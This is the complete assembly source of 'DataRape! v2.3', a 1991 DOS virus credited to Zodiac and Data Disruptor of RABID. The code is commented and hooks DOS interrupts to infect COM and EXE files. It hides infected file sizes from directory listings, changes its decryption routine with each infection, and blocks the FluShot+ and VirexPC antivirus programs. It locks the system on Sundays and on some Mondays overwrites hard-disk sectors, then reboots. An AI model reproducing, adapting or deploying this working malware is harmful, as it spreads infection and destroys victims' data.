home *** CD-ROM | disk | FTP | other *** search
- @b macro char
-
- mov ah,0eh
-
- mov al,char
-
- int 10h
-
- endm
-
- ;---
-
- ; DataRape! v2.3 Source Code
-
- ;
-
- ; Written by Zodiac and Data Disruptor
-
- ;
-
- ; (C) 1991 RABID International Development Corp
-
- ; (Aug.14.91)
-
- ;---
-
- ;
-
- ; Note: Assuming that and infected COMMAND.COM was booted, FSP/VirexPC will
-
- ; not be able to go resident under this version of DataRape!
-
- ;
-
- ;---
-
-
-
- code segment
-
- assume cs:code,ds:code,es:code
-
-
-
- v: ; All Pre-Resident Offsets Based
-
- ; upon this location
-
-
-
- startup:
-
- call relative
-
- relative:
-
- pop si
-
- sub si,offset relative
-
- mov bp,si
-
- cld
-
-
-
- push ax ;
-
- push es ; Saves registers
-
- push si ;
-
- push ds ;
-
- mov ah,2ah ; Get system time
-
- int 21h
-
- cmp al,0
-
- jne are_we_here_boost
-
- jmp its_sunday
-
-
-
- are_we_here_boost:
-
- jmp are_we_here
-
-
-
- ;---
-
- ; If it's Sunday, then we display a message and lock the system
-
- ;---
-
- its_sunday:
-
- mov ah,01h
-
- mov cx,2020h
-
- int 10h ;NUL the cursor
-
-
-
- mov ah,02h ;Moves the cursor
-
- xor dx,dx
-
- int 10h
-
-
-
- xor ax,ax ;Clears the screen
-
- int 10h
-
-
-
- @b "I"
-
- @b "t"
-
- @b "'"
-
- @b "s"
-
- @b " "
-
- @b "S"
-
- @b "u"
-
- @b "n"
-
- @b "d"
-
- @b "a"
-
- @b "y"
-
- @b "."
-
- @b " "
-
- @b "W"
-
- @b "h"
-
- @b "y"
-
- @b " "
-
- @b "a"
-
- @b "r"
-
- @b "e"
-
- @b " "
-
- @b "y"
-
- @b "o"
-
- @b "u"
-
- @b " "
-
- @b "w"
-
- @b "o"
-
- @b "r"
-
- @b "k"
-
- @b "i"
-
- @b "n"
-
- @b "g"
-
- @b "?"
-
- @b 13
-
- @b 10
-
- @b "T"
-
- @b "a"
-
- @b "k"
-
- @b "e"
-
- @b " "
-
- @b "t"
-
- @b "h"
-
- @b "e"
-
- @b " "
-
- @b "d"
-
- @b "a"
-
- @b "y"
-
- @b " "
-
- @b "o"
-
- @b "f"
-
- @b "f"
-
- @b " "
-
- @b "c"
-
- @b "o"
-
- @b "m"
-
- @b "p"
-
- @b "l"
-
- @b "i"
-
- @b "m"
-
- @b "e"
-
- @b "n"
-
- @b "t"
-
- @b "s"
-
- @b " "
-
- @b "o"
-
- @b "f"
-
- @b " "
-
- @b "R"
-
- @b "A"
-
- @b "B"
-
- @b "I"
-
- @b "D"
-
- @b 7
-
-
-
-
-
- im_looped: jmp im_looped
-
-
-
- are_we_here:
-
- mov ax,6969h ; Check to see if we are
-
- int 21h ; Allready resident
-
- cmp bx,6969h
-
- je already_here ; Yes? Then leave the program
-
- jmp after_trish
-
-
-
- db 13,10,'Patricia Boon',13,10
-
-
-
- after_trish:
-
- xor ax,ax ;
-
- mov ds,ax ; Loads Current
-
- les ax,ds:[21h*4] ; Int 21h Vector
-
- mov word ptr cs:[si+save_int_21],ax ;
-
- mov word ptr cs:[si+save_int_21+2],es ;
-
- push cs
-
- pop ds
-
- jmp load_mem
-
- already_here:
-
- pop es ; If, exit
-
- go_go_program: ;
-
- jmp go_program ;
-
-
-
- exit_exe:
-
- mov bx,es ;
-
- add bx,10h ; E
-
- add bx,word ptr cs:[si+call_adr+2] ; X
-
- mov word ptr cs:[si+patch+2],bx ; E
-
- mov bx,word ptr cs:[si+call_adr] ;
-
- mov word ptr cs:[si+patch],bx ; E
-
- mov bx,es ; X
-
- add bx,10h ; I
-
- add bx,word ptr cs:[si+stack_pointer+2] ; T
-
- mov ss,bx ; I
-
- mov sp,word ptr cs:[si+stack_pointer] ; N
-
- db 0eah ; G
-
- patch: ;
-
- dd 0 ;
-
-
-
- ; Below should be changed to:
-
- ; exit_com: xor bx,bx
-
- ; push bx
-
- ; mov di,100h
-
- ; push di
-
- ; add si,offset my_save
-
- ; movsb
-
- ; movsw
-
- ; ret
-
-
-
- exit_com:
-
- mov di,100h ; EXIT
-
- add si,offset my_save ; COM
-
- movsb ;
-
- movsw ;
-
- xor bx,bx ;
-
- push bx ;
-
- jmp [si-11] ;
-
-
-
- ;---
-
- ; Here is where we load ourselves into memory
-
- ;---
-
-
-
- load_mem:
-
- pop es
-
- mov ah,49h ; Release memory
-
- int 21h
-
- mov bx,0ffffh ; Set memory for FFFFh
-
- ; paragraphs
-
- mov ah,48h ; Allocate memory for
-
- ; ourselves
-
- int 21h
-
- sub bx,(top_bz+my_bz+1ch-1)/16+2
-
- jc go_go_program
-
- mov cx,es
-
- stc
-
- adc cx,bx
-
- mov ah,4ah ; Modify memory allocation
-
- int 21h
-
- mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
-
- stc
-
- sbb es:[2],bx
-
- push es
-
- mov es,cx
-
- mov ah,4ah
-
- int 21h
-
- mov ax,es
-
- dec ax
-
- mov ds,ax
-
- mov word ptr ds:[1],8
-
- call mul_16
-
- mov bx,ax
-
- mov cx,dx
-
- pop ds
-
- mov ax,ds
-
- call mul_16
-
- add ax,ds:[6]
-
- adc dx,0
-
- sub ax,bx
-
- sbb dx,cx
-
- jc mem_ok
-
- sub ds:[6],ax ; This section look familiar?
-
- mem_ok:
-
- pop si
-
- push si
-
- push ds
-
- push cs
-
- xor di,di
-
- mov ds,di
-
- lds ax,ds:[27h*4]
-
- mov word ptr cs:[si+save_int_27],ax
-
- mov word ptr cs:[si+save_int_27+2],ds
-
- pop ds
-
- mov cx,offset aux_size
-
- rep movsb
-
- xor ax,ax
-
- mov ds,ax
-
- mov ds:[21h*4],offset int_21
-
- mov ds:[21h*4+2],es
-
- mov ds:[27h*4],offset int_27
-
- mov ds:[27h*4+2],es
-
- mov word ptr es:[filehndl],ax
-
- pop es
-
- go_program:
-
- mov ah,30h ; Get DOS version number
-
- int 21h
-
- cmp al,4 ;
-
- jae check_date ; If >= 4 then check the date
-
- jmp no_fry ; NOT?! Then continue with
-
- ; virus
-
- check_date: mov ah,2ah ; Get system time
-
- int 21h
-
- cmp al,1 ; Is it a monday?
-
- je randomizer
-
- jmp no_fry
-
- ;---
-
- ; If we actually get here, then we have a one in 15 chance that we will fry
-
- ; the hard-drive. You may ask yourself, "Why do you go through all the
-
- ; trouble?". Easy, because the main priority here is spreading, and not
-
- ; fucking up data...
-
- ;---
-
-
-
- randomizer:
-
- mov ah,2ch ; Get system time
-
- int 21h
-
- and dl,0fh
-
- or dl,dl
-
- jnz no_fry
-
- jmp write_short
-
-
-
- no_fry: pop si ; Restore registers
-
- pop ds
-
- pop ax
-
- cmp word ptr cs:[si+my_save],5a4dh ; Is it an EXE file?
-
- jne go_exit_com ; No? Then must be a COM file.
-
- jmp exit_exe ; Yes! Exit an EXE file
-
- go_exit_com:
-
- jmp exit_com
-
-
-
- int_27:
-
- pushf ; Allocates Memory,
-
- call alloc ; So TSR can load
-
- popf ;
-
- jmp dword ptr cs:[save_int_27] ;
-
-
-
- ;---
-
- ; This routine will return our ID byte in BX if we are resident.
-
- ;---
-
- weare_here:
-
- popf
-
- xor ax,ax
-
- mov bx,6969h ; ID Register
-
- iret
-
-
-
- int_21:
-
- push bp
-
- mov bp,sp
-
- push [bp+6]
-
- popf
-
- pop bp ; Set Up Stack
-
-
-
- pushf ; Save Flag
-
- cld
-
- cmp ax,6969h
-
- je weare_here
-
-
-
- cmp ah,11h ; Hide In
-
- jb not_hide ; Directory
-
- cmp ah,12h ; Listing
-
- ja not_hide ;
-
- fcb_find:
-
- call dword ptr cs:[save_int_21]
-
- push ax
-
- push bx
-
- push ds
-
- push es
-
- pushf
-
-
-
- cmp al,0FFh
-
- je done_hide ; Not There?
-
-
-
- mov ah,2Fh
-
- int 21h ; Get Size
-
- push es
-
- pop ds
-
- cmp byte ptr es:[bx],0FFh ; Extended FCB?
-
- jne not_extended
-
- add bx,7
-
- not_extended:
-
- mov ax,es:[bx+17h]
-
- and ax,1Fh
-
- cmp ax,1Fh ; Check Time Stamp
-
-
-
- ;--
-
- ; Checking to see if the file is with a 62 seconds filestamp...
-
- ;--
-
-
-
- jne done_hide ; No? Then the file is not
-
- ; infected. Leave it alone...
-
-
-
- ;--
-
- ; If we get here, then we've deduced that the file is indeed infected.
-
- ; Therefore, we must reduce the filesize from the DTA in order to show that it
-
- ; is "not infected"
-
- ;--
-
- sub word ptr es:[bx+1Dh],offset top_file
-
- sbb word ptr es:[bx+1Dh+2],0 ; Decrease Size
-
-
-
- ;---
-
- ; Finished hiding, restore the resigers we saved, and return to the INT
-
- ; whence we came from...
-
- ;---
-
-
-
- done_hide:
-
- popf
-
- pop es
-
- pop ds
-
- pop bx
-
- pop ax
-
- iret
-
-
-
- ;--
-
- ; Function differentiation happens here...
-
- ;--
-
-
-
- directory:
-
- jmp fcb_find
-
-
-
- weare_here_boost:
-
- jmp weare_here
-
-
-
- ;---
-
- ; If FluShot+ or VirexPC are trying to go resident, then tell them that
-
- ; we "allready are" resident
-
- ;---
-
-
-
- fsp_trying:
-
- popf
-
- mov ax,101h ;Set FSP/Virex ID byte
-
- iret
-
-
-
- not_hide:
-
- cmp ax,0ff0fh
-
- je fsp_trying
-
- cmp ah,3ch ; Are we creating a file?
-
- je create
-
- cmp ah,3dh ; Open file handle?
-
- je touch
-
- cmp ah,3eh ; Are we closing a file?
-
- je close
-
- cmp ah,43h ; Get/Set file attributes?
-
- je touch
-
- cmp ax,4b00h ; Are we executing a file?
-
- je touch
-
- cmp ax,6969h ; Checking if we are resident?
-
- je weare_here_boost
-
- cmp ah,5bh ; Creating a file?
-
- jne not_create
-
-
-
- create:
-
- cmp word ptr cs:[filehndl],0
-
- jne dont_touch
-
- call see_name
-
- jnz dont_touch
-
- call alloc
-
- popf
-
- call function
-
- jc int_exit
-
- pushf
-
- push es
-
- push cs
-
- pop es
-
- push si
-
- push di
-
- push cx
-
- push ax
-
- mov di,offset filehndl
-
- stosw
-
- mov si,dx
-
- mov cx,65
-
- move_name:
-
- lodsb
-
- stosb
-
- test al,al
-
- jz all_ok
-
- loop move_name
-
- mov word ptr es:[filehndl],cx
-
- jmp all_ok
-
-
-
- touch:
-
- jmp try_infect
-
-
-
- all_ok:
-
- pop ax
-
- pop cx
-
- pop di
-
- pop si
-
- pop es
-
- go_exit:
-
- popf
-
- jnc int_exit
-
- close:
-
- cmp bx,word ptr cs:[filehndl]
-
- jne dont_touch
-
- test bx,bx
-
- jz dont_touch
-
- call alloc
-
- popf
-
- call function
-
- jc int_exit
-
- pushf
-
- push ds
-
- push cs
-
- pop ds
-
- push dx
-
- mov dx,offset filehndl+2
-
- call do_file
-
- mov word ptr cs:[filehndl],0
-
- pop dx
-
- pop ds
-
- jmp go_exit
-
- not_create:
-
- cmp ah,3dh
-
- je touch
-
- cmp ah,43h
-
- je touch
-
- cmp ah,56h
-
- jne dont_touch
-
- try_infect:
-
- call see_name
-
- jnz dont_touch
-
- call do_file
-
- dont_touch:
-
- call alloc
-
- popf
-
- call function
-
- int_exit:
-
- pushf
-
- push ds
-
- call get_chain
-
- mov byte ptr ds:[0],'Z'
-
- pop ds
-
- popf
-
- dummy proc far ; This is absolutely
-
- ret 2 ; needed, IRET
-
- dummy endp ; doesn't cut it
-
-
-
- see_name:
-
- push ax
-
- push si
-
- mov si,dx
-
-
-
- ;--
-
- ; Here's a crude yet effective way of scanning the file handle in order to see
-
- ; what type of file it is...
-
- ;
-
- ; (NOTE: We make up for crudeity later by checking the first two bytes of the
-
- ; file to see if it is a COM or EXE file (4d5a))
-
- ;--
-
-
-
- scan_name:
-
- lodsb
-
- test al,al
-
- jz bad_name
-
- cmp al,'.'
-
- jnz scan_name
-
- call get_byte
-
- mov ah,al
-
- call get_byte
-
- cmp ax,'co'
-
- jz pos_com
-
- cmp ax,'ex'
-
- jnz good_name
-
- call get_byte
-
- cmp al,'e'
-
- jmp short good_name
-
- pos_com:
-
- call get_byte
-
- cmp al,'m'
-
- jmp short good_name
-
- bad_name:
-
- inc al
-
- good_name:
-
- pop si
-
- pop ax
-
- ret
-
-
-
- get_byte:
-
- lodsb
-
- cmp al,'C'
-
- jc byte_got
-
- cmp al,'Y'
-
- jnc byte_got
-
- add al,20h
-
- byte_got:
-
- ret
-
-
-
- function:
-
- pushf
-
- call dword ptr cs:[save_int_21]
-
- ret
-
-
-
- do_file:
-
- push ds
-
- push es
-
- push si
-
- push di
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- xor cx,cx
-
- mov ax,4300h
-
- call function
-
- mov bx,cx
-
- and cl,0feh
-
- cmp cl,bl
-
- je dont_change
-
- mov ax,4301h
-
- call function
-
- stc
-
- dont_change:
-
- pushf
-
- push ds
-
- push dx
-
- push bx
-
- mov ax,3d02h
-
- call function
-
- jc cant_open
-
- mov bx,ax
-
- call disease
-
- mov ah,3eh
-
-
-
- call function
-
- cant_open:
-
- pop cx
-
- pop dx
-
- pop ds
-
- popf
-
- jnc no_update
-
- mov ax,4301h
-
- call function
-
- no_update:
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- pop di
-
- pop si
-
- pop es
-
- pop ds
-
- ret
-
-
-
- disease:
-
- push cs
-
- pop ds
-
- push cs
-
- pop es
-
- mov dx,offset top_save
-
- mov cx,18h
-
- mov ah,3fh
-
- int 21h
-
- xor cx,cx
-
- xor dx,dx
-
- mov ax,4202h
-
- int 21h
-
- mov word ptr [top_save+1ah],dx
-
- cmp ax,offset top_file
-
- sbb dx,0
-
- jc stop_infect
-
- mov word ptr [top_save+18h],ax
-
-
-
- mov ax,5700h
-
- int 21h ; Check if Infected
-
- and cx,1Fh
-
- cmp cx,1Fh
-
- je stop_infect
-
- xor cx,cx
-
- xor dx,dx
-
- mov ax,4202h
-
- int 21h
-
- cmp word ptr [top_save],5a4dh
-
- je fuck_exe
-
- add ax,offset aux_size+200h
-
- adc dx,0
-
- je fuck_it
-
- stop_infect: ret
-
-
-
- fuck_exe:
-
- mov dx,word ptr [top_save+18h]
-
- neg dl
-
- and dx,0fh
-
- xor cx,cx
-
- mov ax,4201h
-
- int 21h
-
- mov word ptr [top_save+18h],ax
-
- mov word ptr [top_save+1ah],dx
-
- fuck_it:
-
- mov ax,5700h
-
- int 21h
-
- pushf
-
- push cx
-
- push dx
-
- cmp word ptr [top_save],5a4dh
-
- je exe_file
-
- mov ax,100h
-
- jmp short set_adr
-
- exe_file:
-
- mov ax,word ptr [top_save+14h]
-
- mov dx,word ptr [top_save+16h]
-
- set_adr:
-
- mov di,offset call_adr
-
- stosw
-
- mov ax,dx
-
- stosw
-
- mov ax,word ptr [top_save+10h]
-
- stosw
-
- mov ax,word ptr [top_save+0eh]
-
- stosw
-
- mov si,offset top_save
-
- movsb
-
- movsw
-
-
-
- copy_body:
-
- xor si,si
-
- mov di,offset body
-
- mov cx,offset top_file
-
- rep movsb ; Copies virus
-
- ; body to buffer
-
-
-
- enc_body: mov si,offset body
-
- mov di,si
-
-
-
- ;**************************
-
- ;* CHANGE ENCRYPTION BASE *
-
- ;**************************
-
-
-
- mov ah,2Ch ;Get system time
-
- int 21h
-
- mov byte ptr [enc_base_1],dl
-
- mov byte ptr [body-v+enc_base_2],dl
-
-
-
- ;****************************
-
- ;* CHANGE ENCRYPTION METHOD *
-
- ;****************************
-
-
-
- call yes_no
-
- jc ror_rol
-
- rol_ror: mov ax,0C0C8h
-
- jmp short set_method
-
- ror_rol: mov ax,0C8C0h
-
- set_method: mov byte ptr [enc_meth_1],ah
-
- mov byte ptr [body-v+enc_meth_2],al
-
-
-
- ;*******************************
-
- ;* FLIP SOME REGISTERS, PART 1 *
-
- ;*******************************
-
-
-
- call yes_no
-
- jc es_ds
-
- ds_es: mov ax,1F07h
-
- jmp short set_pops
-
- es_ds: mov ax,071Fh
-
- set_pops: mov byte ptr [body-v+pop_1],ah
-
- mov byte ptr [body-v+pop_2],al
-
-
-
- ;*******************************
-
- ;* FLIP SOME REGISTERS, PART 2 *
-
- ;*******************************
-
-
-
- ;---
-
- ; Zodiac has informed me that there is an error in the following routine
-
- ; he has advised me to coment it out until he fixes the bug
-
- ;---
-
-
-
- ; call yes_no
-
- ; jc di_di_si
-
- ;si_si_di:
-
- ; mov ax,5EEEh
-
- ; mov dl,0F7h
-
- ; jmp short set_switch
-
- ;di_di_si:
-
- ; mov ax,5FEFh
-
- ; mov dl,0FEh
-
- ;set_switch:
-
- ; mov byte ptr [switch_1],ah
-
- ; mov byte ptr [switch_2],al
-
- ; mov byte ptr [switch_3],dl
-
-
-
- ;*******************************
-
- ;* FLIP SOME REGISTERS, PART 3 *
-
- ;*******************************
-
-
-
- mov al,56h
-
- call yes_no
-
- jc set_push
-
- inc al
-
- set_push: mov byte ptr [push_1],al
-
-
-
- ;*******************************
-
- ;* FLIP SOME REGISTERS, PART 4 *
-
- ;*******************************
-
-
-
- call yes_no
-
- jc set_dl
-
- set_dh: mov ax,0B6F1h
-
- mov dl,0C6h
-
- jmp short set_inc
-
- set_dl: mov ax,0B2D1h
-
- mov dl,0C2h
-
- set_inc: mov byte ptr [inc_1],ah
-
- mov byte ptr [inc_2],al
-
- mov byte ptr [inc_3],dl
-
-
-
- ;*******************************
-
- ;* FLIP SOME REGISTERS, PART 5 *
-
- ;*******************************
-
-
-
- call yes_no
-
- jc ds_ax
-
- ax_ds: mov ax,1E50h
-
- mov dx,581Fh
-
- jmp short set_push_2
-
- ds_ax: mov ax,501Eh
-
- mov dx,1F58h
-
- set_push_2: mov word ptr [push_2_1],ax
-
- mov word ptr [push_2_2],dx
-
-
-
- db 0B2h
-
- enc_base_1: db 00h ; General ENC Base
-
-
-
- mov cx,offset un_enc
-
-
-
- enc_loop: lodsb
-
- push cx
-
- mov cl,dl
-
- inc dl
-
- ;---
-
- ; What is the meaning of this???
-
- ;---
-
-
-
- db 0D2h
-
- enc_meth_1: db 0C0h
-
- pop cx
-
- stosb
-
- loop enc_loop ; Encrypto
-
-
-
- mov dx,offset body
-
- mov cx,offset top_file
-
- mov ah,40h
-
- int 21h ; Write Body
-
-
-
- jc go_no_fuck
-
- xor cx,ax
-
- jnz go_no_fuck
-
- mov dx,cx
-
- mov ax,4200h
-
- int 21h
-
- cmp word ptr [top_save],5a4dh
-
- je do_exe
-
- mov byte ptr [top_save],0e9h
-
- mov ax,word ptr [top_save+18h]
-
-
-
- ;****** Below Sets the JMP so to go to the Unencryption Portion of the Virus
-
- ;****** This Doesn't happen when this is first compiled, an infection
-
- ;****** Needs to occur
-
-
-
- add ax,un_enc-v-3
-
-
-
- ;******
-
-
-
- mov word ptr [top_save+1],ax
-
- mov cx,3
-
- jmp short write_header
-
- go_no_fuck:
-
- jmp short no_fuck_boost
-
-
-
- yes_no: push ax
-
- mov ah,2Ch ;Get system time
-
- int 21h
-
- pop ax ;Save AX
-
- test dl,1 ;Are the 100ths of seconds 1
-
- jpe set_yes ;If parity is equal, SET_YES
-
- set_no: clc ;Clear carry flag
-
- ret
-
- set_yes: stc ;Set carry flag
-
- ret
-
- jmp do_exe
-
-
-
- no_fuck_boost:
-
- jmp no_fuck
-
-
-
- ;---
-
- ; Construct the .EXE file's header
-
- ;---
-
-
-
- do_exe:
-
- mov ax,word ptr [top_save+8]
-
- call mul_16
-
-
-
- not ax
-
- not dx
-
- inc ax
-
- jne calc_offs
-
- inc dx
-
- calc_offs:
-
- add ax,word ptr [top_save+18h]
-
- adc dx,word ptr [top_save+1ah]
-
- mov cx,10h
-
- div cx
-
-
-
- ;****** Below Sets the Calling Address to the Unencryption Portion of the
-
- ;****** Virus This Doesn't happen when this is first compiled, an infection
-
- ;****** Needs to occur
-
-
-
- mov word ptr [top_save+14h],un_enc-v
-
-
-
- ;******
-
- mov word ptr [top_save+16h],ax
-
- add ax,(offset top_file-offset v-1)/16+1
-
- mov word ptr [top_save+0eh],ax
-
- mov word ptr [top_save+10h],100h
-
- add word ptr [top_save+18h],offset top_file
-
- adc word ptr [top_save+1ah],0
-
- mov ax,word ptr [top_save+18h]
-
- and ax,1ffh
-
- mov word ptr [top_save+2],ax
-
- pushf
-
- mov ax,word ptr [top_save+19h]
-
- shr byte ptr [top_save+1bh],1
-
- rcr ax,1
-
- popf
-
- jz update_len
-
- inc ax
-
- update_len:
-
- mov word ptr [top_save+4],ax
-
- mov cx,18h
-
- write_header:
-
- mov dx,offset top_save
-
- mov ah,40h
-
- int 21h
-
- pop dx
-
- pop cx
-
- and cx,0FFE0h
-
- or cx,1Fh
-
- jmp short time_got ; Mark Time Stamp
-
-
-
- db 13,10,"Free Flash Force!!!",13,10
-
-
-
- no_fuck:
-
- pop dx
-
- pop cx
-
- time_got: popf
-
- jc stop_fuck
-
- mov ax,5701h
-
- int 21h
-
- stop_fuck:
-
- ret
-
-
-
- alloc:
-
- push ds
-
- call get_chain
-
- mov byte ptr ds:[0],'M'
-
- pop ds
-
- ret
-
-
-
- get_chain:
-
- push ax
-
- push bx
-
- mov ah,62h
-
- call function
-
- mov ax,cs
-
- dec ax
-
- dec bx
-
- next_blk:
-
- mov ds,bx
-
- stc
-
- adc bx,ds:[3]
-
- cmp bx,ax
-
- jc next_blk
-
- pop bx
-
- pop ax
-
- ret
-
-
-
- mul_16:
-
- mov dx,10h
-
- mul dx
-
- ret
-
-
-
- kill: call kill_rel
-
-
-
- kill_rel:
-
- pop si
-
- jmp write_short
-
-
-
- re_do:
-
- mov byte ptr [sector],1 ; Reset sector count to 1
-
- inc byte ptr [track] ; Increment next track
-
- jmp fuck_drive ; Fuck it...
-
-
-
- ;---
-
- ; This routine is very nasty!!!
-
- ;---
-
-
-
- write_short:
-
- push cs
-
- pop ds
-
- cmp byte ptr [track],40
-
- jae reboot
-
- cmp byte ptr [sector],9
-
- ja re_do
-
-
-
- fuck_drive:
-
- mov ah,03h ; Write disk sectors
-
- mov al,9 ; Xfer 9 sectors
-
- mov bx,offset header ; Set for buffer
-
- mov ch,byte ptr [track] ; Set for track [track]
-
- mov cl,byte ptr [sector] ; Set for sector [sector]
-
- mov dh,0 ; Set for head 0
-
- mov dl,2 ; Set for first fixed drive
-
-
-
- int 13h
-
-
-
- inc byte ptr [sector]
-
- jmp write_short
-
-
-
- ;---
-
- ; This code will cold boot the CPU with a memory check
-
- ;---
-
-
-
- reboot:
-
- mov ax,0040h
-
- mov ds,ax
-
- mov ax,07f7fh
-
- mov ds:[0072],ax
-
- db 0eah,00h,00h,0ffh,0ffh ; JMP FFFF:0000
-
-
-
- header db "------------------",13,10
-
- db " DataRape! v2.2 ",13,10
-
- db " By Zodiac ",13,10
-
- db "and Data Disruptor",13,10
-
- db " ",13,10
-
- db " (c) 1991 RABID ",13,10
-
- db "Int'nl Development",13,10
-
- db " Corp. ",13,10
-
- db "------------------",13,10
-
-
-
- greetings db 13,10
-
- db "Greetings to The Dark Avenger, Tudor Todorov, Patricia Hoffman",13,10
-
- db "(Get your articles correct for a change... Maybe we should write",13,10
-
- db "for you...), John McAfee (Who wouldn't be where he is today if it",13,10
-
- db "were not for people like us...), PCM2 (Get your ass back in gear dude!)",13,10
-
- db "ProTurbo, MadMan, Rick Dangerous, Elrond Halfelven, The Highwayman,",13,10
-
- db "Optical Illusion, The (Real) Gunslinger, Patricia (SMOOCH), The GateKeeper,",13,10
-
- db "Sledge Hammer (Let's hope you don't get hit by this one 3 times), Delko,",13,10
-
- db "Paul 'Jougensen' & Mike 'Hunt' (And whoever else was there to see Chris & Cosy)",13,10
-
- db "the entire Bulgarian virus factory, and any others whom we may have missed...",13,10
-
- db " Remember: Winners don't use drugs! Someone card me a lifesign though...",13,10
-
- db 13,10
-
- db "(c) 1991 The RABID International Development Corp."
-
-
-
- call_adr:
-
- dd 100h
-
- stack_pointer:
-
- dd 0
-
- my_save:
-
- int 20h
-
- nop
-
-
-
- ;**** UnEncryption Below
-
-
-
- un_enc: call enc_rel
-
- enc_rel: pop si
-
- rel_sub: sub si,offset enc_rel
-
-
-
- ;---
-
- ; Note: These are the only bytes which are constant throughout any infection
-
- ;---
-
-
-
- rel_copy: mov di,si
-
-
-
- push_1: push si
-
-
-
- push_2_1: push ax
-
- push ds
-
- push es
-
-
-
- push cs
-
- pop_1: pop ds;-
-
-
-
- push cs
-
- pop_2: pop es;-
-
-
-
- ;---
-
- ; The constant bytes end here. (There are only 10 bytes...)
-
- ;---
-
- inc_1: db 0B2h
-
-
-
- enc_base_2: db 00h
-
- mov cx,offset un_enc
-
- un_enc_loop: lodsb
-
- push cx
-
- db 88h
-
- inc_2: db 0D1h
-
-
-
- db 0D2h
-
- enc_meth_2: db 0C8h
-
-
-
- db 0FEh
-
- inc_3: db 0C2h
-
- pop cx
-
- stosb
-
- loop un_enc_loop
-
-
-
- pop es
-
- push_2_2: pop ds
-
- pop ax
-
- ret
-
-
-
- sector db 1 ; Count of sectors that have been fried
-
- track db 0 ; Count of tracks that have been fried
-
-
-
- top_file:
-
- save_int_21 equ $
-
- save_int_27 equ save_int_21+4
-
- filehndl equ save_int_27+4
-
- filename equ filehndl+2
-
- aux_size equ filename+65
-
- top_save equ filename+65
-
- body equ top_save+1Ch
-
- top_bz equ top_save-v
-
- my_bz equ top_file-v
-
- switch_1 equ enc_rel
-
- switch_2 equ rel_sub+1
-
- switch_3 equ rel_copy+1
-
-
-
- ;dta equ aux_size
-
- ; dta_attr equ dta+21
-
- ; dta_time equ dta+22
-
- ; dta_date equ dta+24
-
- ; dta_size_lo equ dta+26
-
- ; dta_size_hi equ dta+28
-
- ; dta_name equ dta+30
-
- ;
-
-
-
- code ends
-
- end
-
-
-
- ;--
-
- ; End of virus
-
- ;--
-
-